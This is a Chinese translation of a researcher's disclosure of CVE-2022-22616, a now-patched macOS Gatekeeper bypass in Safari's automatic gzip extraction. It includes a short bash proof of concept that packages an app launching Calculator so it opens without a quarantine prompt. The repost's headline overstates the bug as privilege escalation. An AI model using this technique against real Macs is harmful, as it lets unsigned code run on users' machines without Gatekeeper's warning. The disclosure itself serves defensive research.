苹果macOS系统发现特权提升,执行任意代码漏洞
作者:Sec-Labs | 发布时间:
参考链接
https://jhftss.github.io/CVE-2022-22616-Gatekeeper-Bypass/
翻译版
标题:CVE-2022-22616:绕过 GateKeeper 的简单方法,隐藏多年
在这篇文章中,我将介绍一种非常简单的绕过GateKeeper的方法,并通过逆向和调试来发现根本原因。Apple 已经在 macOS Monterey 12.3 中将其命名为CVE-2022-22616,并将该漏洞归功于两位 Jamf 研究人员(@malwarezoo、@jbradley89)和我。因此,请确保您已将 Mac 设备更新到最新版本。
POC
#!/bin/bash
mkdir -p poc.app/Contents/MacOS
echo "#!/bin/bash" > poc.app/Contents/MacOS/poc
echo "open -a Calculator" >> poc.app/Contents/MacOS/poc
chmod +x poc.app/Contents/MacOS/poc
zip -r poc.app.zip poc.app
gzip -c poc.app.zip > poc.app.zip.gz
使用 下载文件poc.app.zip.gzSafari.app后,macOS 会自动解压。
com.apple.quarantine 但是在解压gzip文件时会丢失扩展属性。
然后打开poc.app,它会直接弹出一个计算器,没有任何提示。
根本原因
当我使用 Safari 正常下载东西时,我偶然发现了这个错误。我对扩展属性的丢失感到惊讶。然后就想知道是谁负责自动解压,为什么会丢失扩展属性。
通过文件监控,发现进程/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker其实就是我要找的那个进程。这是提取的调用堆栈:

__42__WBSDownloadFileGZipUnarchiver_unarchive__block_invoke然后我从私有框架中找到了易受攻击的函数SafariShared:

一行直接66将解压后的数据写入dstPath,忘记设置扩展属性com.apple.quarantine。
修补
Apple 在 macOS 12.3 中解决了这个问题,让我们检查一下补丁:

正如预期的那样,现在它也在 line 复制隔离属性89。
另一个脆弱的功能?
有两种归档文件会被SandboxBroker进程自动解压:

该类WBSDownloadFileUnarchiver是and的基类 WBSDownloadFileGZipUnarchiver,它通过虚方法WBSDownloadFileBOMUnarchiver提取目标文件。 unarchive
WBSDownloadFileGZipUnarchiver负责gzip文件,WBSDownloadFileBOMUnarchiver负责BOM文件。那么WBSDownloadFileBOMUNarchiver有同样的问题吗?
Apple 为这两个功能分配了相同的 CVE ID:


所以它似乎也很脆弱。
但我还在旧的macOS 12.1上调试了该功能:

我们可以看到 optionsAPI BOMCopierCopyWithOptions的参数,属性copyQuarantine设置为 true。这意味着如果原始zip文件具有隔离属性,它将设置隔离属性。
苹果确实为WBSDownloadFileBOMUnarchiver.

它只是将BOM*API 调用替换为函数指针调用,由dlsym动态解析。我现在无法理解目的。也许 Jamf 研究人员稍后会分享不同的 POC。
概括
绕过GateKeeper的方法很简单,我认为这个问题已经存在很长时间了。我不确定它是否被积极利用。如果您在野外找到真正的攻击样本,请告诉我。(您可以通过 Twitter 消息@patch1t与我联系)